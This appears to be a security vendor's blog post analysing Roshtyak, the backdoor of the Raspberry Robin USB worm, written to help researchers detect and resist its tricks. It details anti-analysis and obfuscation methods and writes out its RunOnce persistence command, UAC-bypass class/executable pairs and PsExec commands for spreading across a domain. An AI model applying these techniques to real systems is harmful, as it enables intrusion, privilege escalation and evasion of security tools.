There are various tricks malware authors use to make malware analysts’ jobs more difficult. These tricks include obfuscation techniques to complicate reverse engineering, anti-sandbox techniques to evade sandboxes, packing to bypass static detection, and more. Countless deceptive tricks used by various malware strains in-the-wild have been documented over the years. However, few of these tricks are implemented in a typical piece of malware, despite the many available tricks. 

The subject of this blog post, a backdoor we dubbed Roshtyak, is not your typical piece of malware. Roshtyak is full of tricks. Some are well-known, and some we have never seen before. From a technical perspective, the lengths Roshtyak takes to protect itself are extremely interesting. Roshtyak belongs to one of the best-protected malware strains we have ever seen. We hope by publishing our research and analysis of the malware and its protection tricks we will help fellow researchers recognize and respond to similar tricks, and harden their analysis environments, making them more resistant to the evasion techniques described.

Roshtyak is the DLL backdoor used by Raspberry Robin, a worm spreading through infected removable drives. Raspberry Robin is extremely prevalent. We protected over 550K of our users from the worm this year. Due to its high prevalence, it should be no surprise that we aren’t the only ones taking note of Raspberry Robin. 

Red Canary’s researchers published the first analysis of Raspberry Robin in May 2022. In June, Symantec published a report describing a mining/clipboard hijacking operation, which reportedly made the cybercriminals at least $1.7 million. Symantec did not link the malicious operation to Raspberry Robin. Nevertheless, we assess with high confidence that what they analyzed was Raspberry Robin. This assessment is based on C&C overlaps, strong malware similarity, and coinfections observed in our telemetry. Cybereason, Microsoft, and Cisco published further reports in July/August 2022. Microsoft reported that Raspberry Robin infections led to DEV-0243 (a.k.a Evil Corp) pre-ransomware behavior. We could not confirm this connection using our telemetry. Still, we find it reasonable to believe that the miner payload is not the only way Raspberry Robin infections are being monetized. Other recent reports also hint at a possible connection between Raspberry Robin and Evil Corp.

There are many unknowns about Raspberry Robin, despite so many published reports. What are the ultimate objectives behind the malware? Who is responsible for Raspberry Robin? How did it become so prevalent? Unfortunately, we do not have answers to all these questions. However, we can answer an important question we saw asked multiple times: What functionality is hidden inside the heavily obfuscated DLL (or Roshtyak as we call it)? To answer this question, we fully reverse engineered a Roshtyak sample, and present our analysis results in this blog post.

Overview

Roshtyak is packed in as many as 14 protective layers, each heavily obfuscated and serving a specific purpose. Some artifacts suggest the layers were originally PE files but were transformed into custom encrypted structures that only the previous layers know how to decrypt and load. Numerous anti-debugger, anti-sandbox, anti-VM, and anti-emulator checks are sprinkled throughout the layers. If one of these checks successfully detects an analysis environment, one of four actions are taken. 

1. The malware calls TerminateProcess on itself to avoid exhibiting any further malicious behavior and to keep the subsequent layers encrypted.
2. Roshtyak crashes on purpose. This has the same effect as terminating itself, but it might not be immediately clear if the crash was intentional or because of a bug thanks to Roshtyak’s obfuscated nature.
3. The malware enters an infinite loop on purpose. Since the loop itself is located in obfuscated code and spans thousands of instructions, it might be hard to determine if the loop is doing something useful or not.
4. The most interesting case is when the malware reacts to a successful check by unpacking and loading a fake payload. This happens in the eighth layer, which is loaded with dozens of anti-analysis checks. The result of each of these checks is used to modify the value of a global variable. There are two payloads encrypted in the data section of the eighth layer: the real ninth layer and a fake payload. The real ninth layer will get decrypted only if the global variable matches the expected value after all the checks have been performed. If at least one check succeeded in detecting an analysis environment, the global variable’s value will differ from the expected value, causing Roshtyak to unpack and execute the fake payload instead. 

The fake payload is a BroAssist (a.k.a BrowserAssistant) adware sample. We believe this fake payload was intended to mislead malware analysts into thinking the sample is less interesting than it really is. When a reverse engineer focuses on quickly unpacking a sample, it might look like the whole sample is “just” an obfuscated piece of adware (and a very old one at that), which could cause the analyst to lose interest in digging deeper. And indeed, it turns out that these fake payload shenanigans can be very effective. As can be seen on the screenshot below, it fooled at least one researcher, who misattributed the Raspberry Robin worm, because of the fake BrowserAssistant payload.

The Bag of Tricks

For the sake of keeping this blog post (sort of) short and to the point, let’s get straight into detailing some of the more interesting evasion techniques employed by Roshtyak.

Segment registers

Early in the execution, Roshtyak prefers to use checks that do not require calling any imported functions. If one of these checks is successful, the sample can quietly exit without generating any suspicious API calls. Below is an example where Roshtyak checks the behavior of the gs segment register. The check is designed to be stealthy and the surrounding garbage instructions make it easy to overlook.

The first idea behind this check is to detect single-stepping. Before the above snippet, the value of cx was initialized to 2. After the pop ecx instruction, Roshtyak checks if cx is still equal to 2. This would be the expected behavior because this value should propagate through the stack and the gs register under normal circumstances. However, a single step event would reset the value of the gs selector, which would result in a different value getting popped into ecx at the end.

But there is more to this check. As a side effect of the two push/pop pairs above, the value of gs is temporarily changed to 2. After this check, Roshtyak enters a loop, counting the number of iterations until the value of gs is no longer 2. The gs selector is also reset after a thread context switch, so the loop essentially counts the number of iterations until a context switch happens. Roshtyak repeats this procedure multiple times, averages out the result, and checks that it belongs to a sensible range for a bare metal execution environment. If the sample runs under a hypervisor or in an emulator, the average number of iterations might fall outside of this range, which allows Roshtyak to detect undesirable execution environments.

Roshtyak also checks that the value of the cs segment register is either 0x1b or 0x23. Here, 0x1b is the expected value when running on native x86 Windows, while 0x23 is the expected value under WoW64.

APC injection through a random ntdll gadget

Roshtyak performs some of its functionality from separate processes. For example, when it communicates with its C&C server, it spawns a new innocent-looking process like regsvr32.exe. Using shared sections, it injects its comms module into the address space of the new process. The injected module is executed via APC injection, using NtQueueApcThreadEx.

Interestingly, the ApcRoutine argument (which marks the target routine to be scheduled for execution) does not point to the entry point of the injected module. Instead, it points to a seemingly random address inside ntdll. Taking a closer look, we see this address was not chosen randomly but that Roshtyak scanned the code section of ntdll for pop r32; ret gadgets (excluding pop esp, because pivoting the stack would be undesirable) and picked one at random to use as the ApcRoutine. 

Looking at the calling convention for the ApcRoutine reveals what’s going on. The pop instruction makes the stack pointer point to the SystemArgument1 parameter of NtQueueApcThreadEx and so the ret instruction effectively jumps to wherever SystemArgument1 is pointing. This means that by abusing this gadget, Roshtyak can treat SystemArgument1 as the entry point for the purpose of APC injection. This obfuscates the control flow and makes the NtQueueApcThreadEx call look more legitimate. If someone hooks this function and inspects the ApcRoutine argument, the fact that it is pointing into the ntdll code section might be enough to convince them that the call is not malicious.

Checking read/write performance on write-combined memory

In this next check, Roshtyak allocates a large memory buffer with the PAGE_WRITECOMBINE flag. This flag is supposed to modify cache behavior to optimize sequential write performance (at the expense of read performance and possibly memory ordering). Roshtyak uses this to detect if it’s running on a physical machine. It conducts an experiment where it first writes to the allocated buffer and then reads from the allocated buffer, all while measuring the read/write performance using a separate thread as a counter. This experiment is repeated 32 times and the check is passed only if write performance was at least six times higher than read performance most of the times. If the check fails, Roshtyak intentionally selects a wrong RC4 key, which results in failing to properly decrypt the next layer.

Hiding shellcode from plain sight

The injected shellcode is interestingly hidden, too. When Roshtyak prepares for code injection, it first creates a large section and maps it into the current process as PAGE_READWRITE. Then, it fills the section with random data and places the shellcode at a random offset within the random data. Since the shellcode is just a relatively small loader followed by random-looking packed data, the whole section looks like random data. 

The section is then unmapped from the current process and mapped into the target process, where it is executed using the above-described APC injection technique. The random data was added in an attempt to conceal the existence of the shellcode. Judging only from the memory dump of the target process, it might look like the section is full of random data and does not contain any valid executable code. Even if one suspects actual valid code somewhere in the middle of the section, it will not be easy to find its exact location. 

Ret2Kernel32

Roshtyak makes a point of cleaning up after itself. Whenever a certain string or piece of memory is no longer needed, Roshtyak wipes and/or frees it in an attempt to destroy as much evidence as possible. The same holds for Roshtyak’s layers. Whenever one layer finishes its job, it frees itself before passing execution onto the next layer. However, the layer cannot just simply free itself directly. The whole process would crash if it called VirtualFree on the region of memory it’s currently executing from.

Roshtyak, therefore, frees the layer through a ROP chain executed during layer transitions to avoid this problem. When a layer is about to exit, it constructs a ROP chain on the stack and returns into it. An example of such a ROP chain can be seen below. This chain starts by returning into VirtualFree and UnmapViewOfFile to release the previous layer’s memory. Then, it returns into the next layer. The return address from the next layer is set to RtlExitUserThread, to safeguard execution.

MulDiv bug

MulDiv is a function exported by kernel32.dll, which takes three signed 32-bit integers as arguments. It multiplies the first two arguments, divides the multiplication result by the third argument, and returns the final result rounded to the nearest integer. While this might seem like a simple enough function, there’s an ancient sign extension bug in Microsoft’s implementation. This bug is sort of considered a feature now and might never get fixed.

Roshtyak is aware of the bug and tests for its presence by calling MulDiv(1, 0x80000000, 0x80000000). On real Windows machines, this triggers the bug and MulDiv erroneously returns 2, even though the correct return value should be 1, because (1 * -2147483648) / -2147483648 = 1. This allows Roshtyak to detect emulators that do not replicate the bug. For example, this successfully detects Wine, which, funnily enough, contains a different bug, which makes the above call return 0.

Tampering with return addresses stored on the stack

There are also tricks designed to obfuscate function calls. As shown in the previous section, Roshtyak likes to call functions using the ret instruction. This next trick is similar in that it also manipulates the stack so a ret instruction can be used to jump to the desired address. 

To achieve this, Roshtyak scans the current thread’s stack for pointers into the code section of one of the previous layers (unlike the other layers, this one was not freed using the ROP chain technique). It replaces all these pointers with the address it wants to call. Then it lets the code return multiple times until a ret instruction encounters one of the hijacked pointers, redirecting the execution to the desired address.

Exception-based checks

Additionally, Roshtyak contains checks that set up a custom vectored exception handler and intentionally trigger various exceptions to ensure they all get handled as expected.

Roshtyak sets up a vectored exception handler using RtlAddVectoredExceptionHandler. This handler contains custom handlers for selected exception codes. A top-level exception handler is also registered using SetUnhandledExceptionFilter. This handler should not be called in the targeted execution environments (none of the intentionally triggered exceptions should fall through the vectored exception handler). So this top-level handler just contains a single call to TerminateProcess. Interestingly, Roshtyak also uses ZwSetInformationProcess to set SEM_FAILCRITICALERRORS using the ProcessDefaultHardErrorMode class. This ensures that even if the exception somehow is passed all the way to the default exception handler, Windows would not show the standard error message box, which could alert the victim that something suspicious is going on.

When everything is set up, Roshtyak begins generating exceptions. The first exception is generated by a popf instruction, directly followed by a cpuid instruction (shown below). The value popped by the popf instruction was crafted to set the trap flag, which should, in turn, raise a single-step exception. On a physical machine, the exception would trigger right after the cpuid instruction. Then, the custom vectored exception handler would take over and move the instruction pointer away from the C7 B2 opcodes, which mark an invalid instruction. However, under many hypervisors, the single-step exception would not be raised. This is because the cpuid instruction forces a VM exit, which might delay the effect of the trap flag. If that is the case, the processor will raise an illegal instruction exception when trying to execute the invalid opcodes. If the vectored exception handler encounters such an exception, it knows that it is running under a hypervisor. A variation of this technique is described thoroughly in a blog post by Palo Alto Networks. Please refer to it for more details. 

Another exception is generated using the two-byte int 3 instruction (CD 03). This instruction is followed by garbage opcodes. The int 3 here raises a breakpoint exception, which is handled by the vectored exception handler. The vectored exception handler doesn’t really do anything to handle the exception, which is interesting. This is because by default, when Windows handles the two-byte int 3 instruction, it will leave the instruction pointer in between the two instruction bytes, pointing to the 03 byte. When disassembled from this 03 byte, the garbage opcodes suddenly start making sense. We believe this is a check against some overeager debuggers, which could “fix” the instruction pointer to point after the 03 byte.

Moreover, the vectored exception handler checks the thread’s CONTEXT and makes sure that registers Dr0 through Dr3 are empty. If they are not, the process is being debugged using hardware breakpoints. While this check is relatively common in malware, the CONTEXT is usually obtained using a call to a function like GetThreadContext. Here, the malware authors took advantage of CONTEXT being passed as an argument to the exception handler, so they did not need to call any additional API functions.

Large executable mappings

This next check is interesting mostly because we are not sure what it’s really supposed to check (in other words, we’d be happy to hear your theories!). It starts with Roshtyak creating a large PAGE_EXECUTE_READWRITE mapping of size 0x386F000. Then it maps this mapping nine times into its own address space. After this, it memsets the mapping to 0x42 (opcode for inc edx), except for the last six bytes, which are filled with four inc ecx instructions and jmp dword ptr [ecx] (see below). Next, it puts the nine base addresses of the mapped views into an array, followed by an address of a single ret instruction. Finally, it points ecx into this array and calls the first mapped view, which results in all the mapped views being called sequentially until the final ret instruction. After the return, Roshtyak validates that edx got incremented exactly 0x1FBE6FCA times (9 * (0x386F000 - 6)).

Our best guess is that this is yet another anti-emulator check. For example, in some emulators, mapped sections might not be fully implemented, so the instructions written into one instance of the mapped view might not propagate to the other eight instances. Another theory is the check could be done to request large amounts of memory that emulators might fail to provide. After all, the combined size of all the views is almost half of the standard 32-bit user mode address space.

Detecting process suspension

This trick abuses an undocumented thread creation flag in NtCreateThreadEx to detect when Roshtyak’s main process gets externally suspended (which could mean that a debugger got attached). This flag essentially allows a thread to keep running even when PsSuspendProcess gets called. This is coupled with another trick abusing the fact that the thread suspend counter is a signed 8-bit value, which means that it maxes out at 127. Roshtyak spawns two threads, one of which keeps suspending the other one until the suspend counter limit is reached. After this, the first thread keeps periodically suspending the other one and checking if the call to NtSuspendThread keeps failing with STATUS_SUSPEND_COUNT_EXCEEDED. If it does not, the thread must have been externally suspended and resumed (which would leave the suspend counter at 126, so the next call to NtSuspendThread would succeed). Not getting this error code would be suspicious enough for Roshtyak to quit using TerminateProcess. This entire technique is described in more detail in a blog post by Secret Club. We believe that’s where the authors of Roshtyak got this trick from. It’s also worth mentioning Roshtyak uses this technique only on Windows builds 18323 (19H1) and later because the undocumented thread creation flag was not implemented on prior builds.

Indirect registry writes

Roshtyak performs many suspicious registry operations, for example, setting up the RunOnce key for persistence. Since modifications to such keys are likely to be monitored, Roshtyak attempts to circumvent the monitoring. It first generates a random registry key name and temporarily renames the RunOnce key to the random name using ZwRenameKey. Once renamed, Roshtyak adds a new persistence entry to the temporary key before finally renaming it back to RunOnce. This method of writing to the registry can be easily detected, but it might bypass some simple hooking-based monitoring methods.

Similarly, there are multiple methods Roshtyak uses to delete files. Aside from the apparent call to NtDeleteFile, Roshtyak is able to effectively delete a file by setting FileDispositionInformation or FileRenameInformation in a call to ZwSetInformationFile. However, unlike the registry modification method, this doesn’t seem to be implemented in order to evade detection. Instead, Roshtyak will try these alternative methods if the initial call to NtDelete file fails. 

Checking VBAWarnings

The VBAWarnings registry value controls how Microsoft Office behaves when a user opens a document containing embedded VBA macros. If this value is 1 (meaning “Enable all macros”), macros are executed by default, even without the need for any user interaction. This is a common setting for sandboxes, which are designed to detonate maldocs automatically. On the other hand, this setting is uncommon for regular users, who generally don’t go around changing random settings to make themselves more vulnerable (at least most of them don’t). Roshtyak therefore uses this check to differentiate between sandboxes and regular users and refuses to run further if the value of VBAWarnings is 1. Interestingly, this means that users, who for whatever reason have lowered their security this way, are immune to Roshtyak.

Command line wiping

Roshtyak’s core is executed with very suspicious command lines, such as RUNDLL32.EXE SHELL32.DLL,ShellExec_RunDLL REGSVR32.EXE -U /s "C:\Users\<REDACTED>\AppData\Local\Temp\dpcw.etl.". These command lines don’t look particularly legitimate, so Roshtyak attempts to hide them during execution. It does this by wiping command line information collected from various sources. It starts by calling GetCommandLineA and GetCommandLineW and wiping both of the returned strings. Then it attempts to wipe the string pointed to by PEB->ProcessParameters->CommandLine (even if this points to a string that has already been wiped). Since Roshtyak is often running under WoW64, it also calls NtWow64QueryInformationProcess64 to obtain a pointer to PEB64 to wipe ProcessParameters->CommandLine obtained by traversing this “second” PEB. While the wiping of the command lines was probably meant to make Roshtyak look more legitimate, the complete absence of any command line is also highly unusual. This was noticed by the Red Canary researchers in their blog post, where they proposed a detection method based on these suspiciously empty command lines.

Additional tricks

Aside from the techniques described so far, Roshtyak uses many less sophisticated tricks that are commonly found in other malware as well. These include:

• Hiding threads using ThreadHideFromDebugger (and verifying that the threads really got hidden using NtQueryInformationThread)
• Patching DbgBreakPoint in ntdll
• Detecting user inactivity using GetLastInputInfo
• Checking fields from PEB (BeingDebugged, NtGlobalFlag)
• Checking fields from KUSER_SHARED_DATA (KdDebuggerEnabled, ActiveProcessorCount, NumberOfPhysicalPages)
• Checking the names of all running processes (some are compared by hash, some by patterns, and some by character distribution)
• Hashing the names of all loaded modules and checking them against a hardcoded blacklist
• Verifying the main process name is not too long and doesn’t match known names used in sandboxes
• Using the cpuid instruction to check hypervisor information and the processor brand
• Using poorly documented COM interfaces
• Checking the username and computername against a hardcoded blacklist
• Checking for the presence of known sandbox decoy files
• Checking MAC addresses of own adapters against a hardcoded blacklist
• Checking MAC addresses from the ARP table (using GetBestRoute to populate it and GetIpNetTable to inspect it)
• Calling ZwQueryInformationProcess with ProcessDebugObjectHandle, ProcessDebugFlags, and ProcessDebugPort
• Checking DeviceId of display devices (using EnumDisplayDevices)
• Checking ProductId of \\.\PhysicalDrive0 (using IOCTL_STORAGE_QUERY_PROPERTY)
• Checking for virtual hard disks (using NtQuerySystemInformation with SystemVhdBootInformation)
• Checking the raw SMBIOS firmware table (using NtQuerySystemInformation with SystemFirmwareTableInformation)
• Setting up Defender exclusions (both for paths and processes)
• Removing IFEO registry keys related to process names used by the malware

Obfuscation

We’ve shown many anti-analysis tricks that are designed to prevent Roshtyak from detonating in undesirable execution environments. These tricks alone would be easy to patch or bypass. What makes analyzing Roshtyak especially lethal is the combination of all these tricks with heavy obfuscation and multiple layers of packing. This makes it very difficult to study the anti-analysis tricks statically and figure out how to pass all the checks in order to get Roshtyak to unpack itself. Furthermore, even the main payload received the same obfuscation, which means that statically analyzing Roshtyak’s core functionality also requires a great deal of deobfuscation. 

In the rest of this section, we’ll go through the main obfuscation techniques used by Roshtyak.

Control flow flattening

Control flow flattening is one of the most noticeable obfuscation techniques employed by Roshtyak. It is implemented in an unusual way, giving the control flow graphs of Roshtyak’s functions a unique look (see below). The goal of control flow flattening is to obscure control flow relations between individual code blocks. 

Control flow is directed by a 32-bit control variable, which tracks the execution state, identifying the code block to be executed. This control variable is initialized at the start of each function to refer to the starting code block (which is frequently a nop block). The control variable is then modified at the end of each code block to identify the next code block that should be executed. The modification is performed using some arithmetic instructions, such as add, sub, or xor.

There is a dispatcher using the control variable to route execution into the correct code block. This dispatcher is made up of if/else blocks that are circularly linked into a loop. Each dispatcher block takes the control variable and masks it using arithmetic instructions to check if it should route execution into the code block that it is guarding. What’s interesting here is there are multiple points of entry from the code blocks into the dispatcher loop, giving the control flow graphs the jagged “sawblade” look in IDA. 

Branching is performed using a special code block containing an imul instruction. It relies on the previous block to compute a branch flag. This branch flag is multiplied using the imul instruction with a random constant, and the result is added, subbed, or xored to the new control variable. This means that after the branch block, the control variable will identify one of the two possible succeeding code blocks, depending on the value that was computed for the branch flag.

Function activation keys

Roshtyak’s obfuscated functions expect an extra argument, which we call an activation key. This activation key is used to decrypt all local constants, strings, variables, etc. If a function is called with a wrong activation key, the decryption results in garbage plaintext, which will most likely cause Roshtyak to get stuck in an infinite loop inside the control flow dispatcher. This is because all constants used by the dispatcher (the initial value of the control variable, the masks used by the dispatcher guards, and the constants used to jump to the next code block) are encrypted with the activation key. Without the correct activation key, the dispatcher simply does not know how to dispatch.

Reverse engineering a function is practically impossible without knowing the correct activation key. All strings, buffers, and local variables/constants remain encrypted, all cross-references are lost, and worse, there is no control flow information. Only individual code blocks remain, with no way to know how they relate to each other.

Each obfuscated function has to be called from somewhere, which means the code calling the function has to supply the correct activation key. However, obtaining the activation key is not that easy. First, call targets are also encrypted with activation keys, so it’s impossible to find where a function is called from without knowing the right activation keys. Second, even the supplied activation key is encrypted with the activation key of the calling function. And that activation key got encrypted with the activation key of the next calling function. And so on, recursively, all the way until the entry point function.

This brings us to how to deobfuscate the mess. The activation key of the entry point function must be there in plaintext. Using this activation key, it is possible to decrypt the call targets and activation keys of functions that are called directly from this entry point function. Applying this method recursively allows us to reconstruct the full call graph along with the activation keys of all the functions. The only exceptions would be functions that were never called and were left in by the compiler. These functions will probably remain a mystery, but since the sample does not use them, they are not that important from a malware analyst’s point of view.

Variable masking

Some variables are not stored in plaintext form but are masked using one or more arithmetic instructions. This means that if Roshtyak is not actively using a variable, it keeps the variable’s value in an obfuscated form. Whenever Roshtyak needs to use the variable, it has to first unmask it before it can use it. Conversely, after Roshtyak uses the variable, it converts it back into the masked form. This masking-based obfuscation method slightly complicates tracking variables during debugging and makes it harder to search memory for a known variable value.

Loop transformations

Roshtyak is creative with some loop conditions. Instead of writing a loop like for (int i = 0; i < 1690; i++), it transforms the loop into e.g. for (int32_t i = 0x06AB91EE; i != 0x70826068; i = i * -0x509FFFF + 0xEC891BB1). While both loops will execute exactly 1690 times, the second one is much harder to read. At first glance, it is not clear how many iterations the second loop executes (and if it even terminates). Tracking the number of loop iterations during debugging is also much harder in the second case.

Packing

As mentioned, Roshtyak’s core is hidden behind multiple layers of packing. While all the layers look like they were originally compiled into PE files, all but the strictly necessary data (entry point, sections, imports, and relocations) were stripped away. Furthermore, Roshtyak supports two custom formats for storing the stripped PE file information, and the layers take turns on what format they use. Additionally, parts of the custom formats are encrypted, sometimes using keys generated based on the results of various anti-analysis checks.

This makes it difficult to unpack Roshtyak’s layers statically into a standalone PE file. First, one would have to reverse engineer the custom formats and figure out how to decrypt the encrypted parts. Then, one would have to reconstruct the PE header, the sections, the section headers, and the import table (the relocation table doesn’t need to be reconstructed since relocations can just be turned off). While this is all perfectly doable (and can be simplified using libraries like LIEF), it might take a significant amount of time. Adding to this that the layers are sometimes interdependent, it might be easier to just analyze Roshtyak dynamically in memory.

Other obfuscation techniques

In addition to the above-described techniques, Roshtyak also uses other obfuscation techniques, including:

• Junk instruction insertion
• Import hashing
• Frequent memory wiping
• Mixed boolean-arithmetic obfuscation
• Redundant threading
• Heavy polymorphism

Core Functionality

Now that we’ve described how Roshtyak protects itself, it might be interesting to also go over what it actually does. Roshtyak’s DLL is relatively large, over a megabyte, but its functionality is surprisingly simple once you eliminate all the obfuscation. Its main purpose is to download further payloads to execute. In addition, it does the usual evil malware stuff, namely establishing persistence, escalating privileges, lateral movement, and exfiltrating information about the victim.

Persistence

Roshtyak first generates a random file name in %SystemRoot%\Temp and moves its DLL image there. The generated file name consists of two to eight random lowercase characters concatenated with a random extension chosen from a hardcoded list. The PRNG used to generate this file name is seeded with the volume serial number of C:\. The sample we analyzed hardcoded seven extensions (.log, .tmp, .loc, .dmp, .out, .ttf, and .etl). We observed other extensions being used in other samples, suggesting this list is somewhat dynamic. With a small probability, Roshtyak will also use a randomly generated extension. Once fully constructed, the full path to the Roshtyak DLL might look like e.g. C:\Windows\Temp\wcdp.etl.

After the DLL image is moved to the new filesystem path, Roshtyak stomps its Modified timestamp to the current system time. It then proceeds to set up a RunOnce(Ex) registry key to actually establish persistence. The registry entry is created using the previously described indirect registry write technique. The command inserted into the key might look as follows:

RUNDLL32.EXE SHELL32.DLL,ShellExec_RunDLL REGSVR32.EXE -U /s "C:\Windows\Temp\wcdp.etl."

There are a couple of things to note here. First, regsvr32 doesn’t care about the extensions of the DLLs it loads, allowing Roshtyak to hide under an innocent-looking extension such as .log. Second, the /s parameter puts regsvr32 into silent mode. Without it, regsvr32 would complain that it did not find an export named DllUnregisterServer. Finally, notice the trailing period character at the end of the path. This period is removed during path normalization, so it practically has no effect on the command. We are not exactly sure what the author’s original intention behind including this period character is. It looks like it could have been designed to trick some anti-malware software into not being able to connect the persistence entry with the payload on the filesystem.

By default, Roshtyak uses the HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce key for persistence. However, under some circumstances (such as when it detects that Kaspersky is running by checking for a process named avp.exe) the key HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx will be used instead. The RunOnceEx key is capable of loading a DLL, so when using this key, Roshtyak specifies shell32.dll directly, omitting the use rundll32.

Privilege escalation

Roshtyak uses both UAC bypasses and regular EoP exploits in an attempt to elevate its privileges. Unlike many other pieces of malware, which just blindly execute whatever UAC bypasses/exploits the authors could find, Roshtyak makes efforts to figure out if the privilege escalation method is even likely to be successful. This was probably implemented to lower the chances of detection due to the unnecessary usage of incompatible bypasses/exploits. For UAC bypasses, this involves checking the ConsentPromptBehaviorAdmin and ConsentPromptBehaviorUser registry keys. For EoP exploits, this is about checking the Windows build number and patch level.

Besides checking the ConsentPromptBehavior(Admin|User) keys, Roshtyak performs other sanity checks to ensure that it should proceed with the UAC bypass. Namely, it checks for admin privileges using CheckTokenMembership with the SID S-1-5-32-544 (DOMAIN_ALIAS_RID_ADMINS). It also inspects the value of the DbgElevationEnabled flag in KUSER_SHARED_DATA.SharedDataFlags. This is an undocumented flag that is set if UAC is enabled. Finally, there are AV checks for BitDefender (detected by the module atcuf32.dll), Kaspersky (process avp.exe), and our own Avast/AVG (module aswhook.dll). If one of these AVs is detected, Roshtyak avoids selected UAC bypass techniques, presumably the ones that might result in detection.

As for the actual UAC bypasses, there are two main methods implemented. The first is an implementation of the aptly named ucmDccwCOM method from UACMe. Interestingly when this method is executed, Roshtyak temporarily masquerades its process as explorer.exe by overwriting FullDllName and BaseDllName in the _LDR_MODULE structure corresponding to the main executable module. The payload launched by this method is a randomly named LNK file, dropped into %TEMP% using the IShellLink COM interface. This LNK file is designed to relaunch the Roshtyak DLL, through LOLBins such as advpack or register-cimprovider.

The second method is more of a UAC bypass framework than a specific bypass method, because multiple UAC bypass methods follow the same simple pattern: first registering some specific shell open command and then executing an autoelevating Windows binary (which internally triggers the shell open command). For instance, a UAC bypass might be accomplished by writing a payload command to HKCU\Software\Classes\ms-settings\shell\open\command and then executing fodhelper.exe from %windir%\system32. Basically, the same bypass can be achieved by substituting the pair ms-settings/fodhelper.exe with other pairs, such as mscfile/eventvwr.exe. Roshtyak uses the following six pairs to bypass UAC:

Class	Executable
mscfile	eventvwr.exe
mscfile	compmgmtlauncher.exe
ms-settings	fodhelper.exe
ms-settings	computerdefaults.exe
Folder	sdclt.exe
Launcher.SystemSettings	slui.exe

Let’s now look at the kernel exploits (CVE-2020-1054 and CVE-2021-1732) Roshtyak uses to escalate privileges. As is often the case in Roshtyak, these exploits are stored encrypted and are only decrypted on demand. Interestingly, once decrypted, the exploits turn out to be regular PE files with completely valid headers (unlike the other layers in Roshtyak, which are either in shellcode form or stored in a custom stripped PE format). Moreover, the exploits lack the obfuscation given to the rest of Roshtyak, so their code is immediately decompilable, and only some basic string encryption is used. We don’t know why the attackers left these exploits so exposed, but it might be due to the difference in bitness. While Roshtyak itself is x86 code (most of the time running under WoW64), the exploits are x64 (which makes sense considering they exploit vulnerabilities in 64-bit code). It could be that the obfuscation tools used by Roshtyak’s authors were designed to work on x86 and are not portable to x64.

To execute the exploits, Roshtyak spawns (the AMD64 version of) winver.exe and gets the exploit code to run there using the KernelCallbackTable injection method. Roshtyak’s implementation of this injection method essentially matches a public PoC, with the biggest difference being the usage of slightly different API functions due to the need for cross-subsystem injection (e.g. NtWow64QueryInformationProcess64 instead of NtQueryInformationProcess or NtWow64ReadVirtualMemory64 instead of ReadProcessMemory). The code injected into winver.exe is not the exploit PE itself but rather a slightly obfuscated shellcode, designed to load the exploit PE into memory.

The kernel exploits target certain unpatched versions of Windows. Specifically, CVE-2020-1054 is only used on Windows 7 systems where the revision number is not higher than 24552. On the other hand, the exploit for CVE-2021-1732 runs on Windows 10, with the targeted build number range being from 16353 to 19042. Before exploiting CVE-2021-1732, Roshtyak also scans through installed update packages to see if a patch for the vulnerability is installed. It does this by enumerating the registry keys under HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Component Based Servicing\Packages and checking if the package for KB4601319 (or higher) is present.

Lateral movement

When it comes to lateral movement, Roshtyak simply uses the tried and tested PsExec tool. Before executing PsExec, Roshtyak ensures it makes sense to run it by checking for a SID matching the “well-known” WinAccountDomainAdminsSid group. If domain admin rights are not detected, Roshtyak skips its lateral movement phase entirely.

Roshtyak attempts to get around detection by setting Defender exclusions, as PsExec is often flagged as a hacktool (for good reasons). It sets a path exclusion for %TEMP% (where it will drop PsExec and other files used for lateral movement). Later, it sets up a process exclusion for the exact path from which PsExec will be executed. 

While we would expect PsExec to be bundled inside Roshtyak, it turns out Roshtyak downloads it on demand from https://download.sysinternals[.]com/files/PSTools.zip. The downloaded zip archive is dropped into %TEMP% under a random name with the .zip extension. PsExec is then unzipped from this archive using the Windows Shell COM interface (IShellDispatch) into a randomly named .exe file in %TEMP%.

The payload to be executed by PsExec is a self-extracting package created by a tool called IExpress. This is an archaic installer that’s part of Windows, which is probably why it’s used, since Roshtyak can rely on it already being on the victim machine. The installer generation is configured by a text file using the Self Extraction Directive (SED) syntax. 

Roshtyak uses a SED configuration template with three placeholders (%1, %2, and %3) that it substitutes with real values at runtime. As seen above, the configuration template was written in mixed-case, which is frequently used in Raspberry Robin in general. Once the SED configuration is prepared, it is written into a randomly named .txt file in %TEMP%. Then, iexpress is invoked to generate the payload using a command such as C:\Windows\iexpress.exe /n /q <path_to_sed_config>. The generated payload is dumped into a randomly named .exe file in %TEMP%, as configured by the TargetName directive (placeholder %1).

Once the payload is generated, Roshtyak proceeds to actually run PsExec. There are two ways Roshtyak can execute PsExec. The first one uses the command <path_to_psexec> \\* -accepteula -c -d -s <path_to_payload>. Here, the \\* wildcard instructs PsExec to run the payload on all computers in the current domain. Alternatively, Roshtyak might run the command <path_to_psexec> @<path_to_target_file> -accepteula -c -d -s <path_to_payload>. Here, the target_file is a text file containing a specific list of computers to run the payload on. Roshtyak builds this list by enumerating Active Directory objects using API functions exported from activeds.dll.

Profiling the victim

USB worms tend to have a life of their own. Since their worming behavior is usually completely automated, the threat actor who initially deployed the worm doesn’t necessarily have full control over where it spreads. This is why it’s important for threat actors to have the worm beacon back to their C&C servers. With a beaconing mechanism in place, the threat actor can be informed about all the machines under their control and can use this knowledge to manage the worm as a whole.

The outgoing beaconing messages typically contain some information about the infected machine. This helps financially-motivated cybercriminals decide on how to best monetize the infection. Roshtyak is no exception to this, and it collects a lot of information about each infected victim. Roshtyak concatenates all the collected information into a large string, using semicolons as delimiters. This large string is then exfiltrated to one of Roshtyak’s C&C servers. The exfiltrated pieces of information are listed below, in order of concatenation.

• External IP address (obtained during a Tor connectivity check)
• A string hardcoded into Roshtyak’s code, e.g. AFF123 (we can’t be sure what’s the meaning behind this, but it looks like an affiliate ID)
• A 16-bit hash of the DLL’s PE header (with some fields zeroed out) xored with the lower 16 bits of its TimeDateStamp. The TimeDateStamp appears to be specially crafted so that the xor results in a known value. This could function as a tamper check or a watermark.
• Creation timestamp of the System Volume Information folder on the system drive
• The volume serial number of the system drive
• Processor count (GetActiveProcessorCount)
• IsWow64Process (_PROCESS_EXTENDED_BASIC_INFORMATION.Flags & 2)
• Windows version (KUSER_SHARED_DATA.Nt(Major|Minor)Version)
• Windows product type (KUSER_SHARED_DATA.NtProductType)
